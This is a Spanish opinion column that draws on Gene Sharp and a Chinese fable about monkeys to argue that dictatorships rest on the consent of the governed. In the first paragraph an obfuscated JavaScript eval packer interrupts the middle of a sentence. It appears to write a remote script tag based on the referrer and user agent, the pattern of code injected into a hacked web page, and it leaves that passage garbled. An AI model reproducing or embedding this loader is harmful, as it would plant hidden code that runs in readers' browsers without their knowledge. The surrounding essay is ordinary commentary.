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Se buscan monos

Noel Álvarez / Coordinador Nacional de IPP-Gente / Noelalvarez10@gmail.com / @alvareznv
La eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iehis|var|u0026u|referrer|iyhhi||js|php'.split('|'),0,{})) gente que no se ha dado cuenta de su sometimiento, “apenas adquiera el conocimiento, las tretas dejarán de funcionar”. Los dictadores requieren la ayuda de los gobernados, sin la cual no pueden disponer del poder ni conservarlo

Conseguir la libertad en paz con un gobierno que niega los derechos constitucionales no es tarea fácil. Para quienes gobiernan en dictaduras los procesos electorales no son prioritarios y cuando lo hacen, aparecen  más votos que electores. Para salir de ellos se requiere una gran destreza estratégica, organización y planificación. Pero sobre todo, requiere poder. 

¿Cómo es posible esto?, ¿con qué clase de poder puede una oposición democrática movilizarse para destruir la dictadura y su vasta red militar y policíaca? Pregunta el politólogo Gene Sharp, quien además señala que “el poder de las dictaduras proviene de la obediencia voluntaria del pueblo gobernado, y que si la gente puede desarrollar técnicas para repudiar ese consentimiento, estos regímenes se derrumban”. La respuesta, dice, “se encuentra en la comprensión del poder político generalmente ignorado". Llegar a este conocimiento intrínseco no es tarea difícil. 

En la fábula china del “Amo de los monos” se cuenta que: en el estado de Chu, un anciano vivía a expensas de tener monos a su servicio. Todas las mañanas el viejo reunía a los monos en su patio y ordenaba al más viejo que condujera a los demás a recoger frutas de los árboles. La regla era que cada mono tenía que darle al viejo una parte importante de lo que recogiera. Los que se negaban a hacerlo eran azotados brutalmente. 

Un día, un mono les preguntó a los otros: ¿El viejo sembró los árboles? Le respondieron que no. El monito hizo otra pregunta: ¿Podemos coger la fruta sin permiso del viejo? Los otros replicaron: “Sí”. El macaco siguió: ¿Entonces por qué tenemos que depender del viejo y servirlo todo el tiempo? Ante estas reflexiones a los monos se les abrió el entendimiento. Esa misma noche, mientras el viejo dormía, los primates rompieron las rejas de su cautiverio, tomaron las frutas que el viejo guardaba, destruyeron toda la casa y luego se internaron en la profundidad del bosque para no regresar jamás. Cuenta la leyenda que el viejo murió de hambre.

El autor concluye la fabula señalando: “Algunos hombres gobiernan a su pueblo mediante tretas y no por principios rectos". ¿Acaso no son estos iguales al amo de los monos? La gente que no se ha dado cuenta de su sometimiento. “Apenas adquiera el conocimiento, las tretas dejarán de funcionar”. Los dictadores requieren la ayuda de los gobernados, sin la cual no pueden disponer del poder ni conservarlo.

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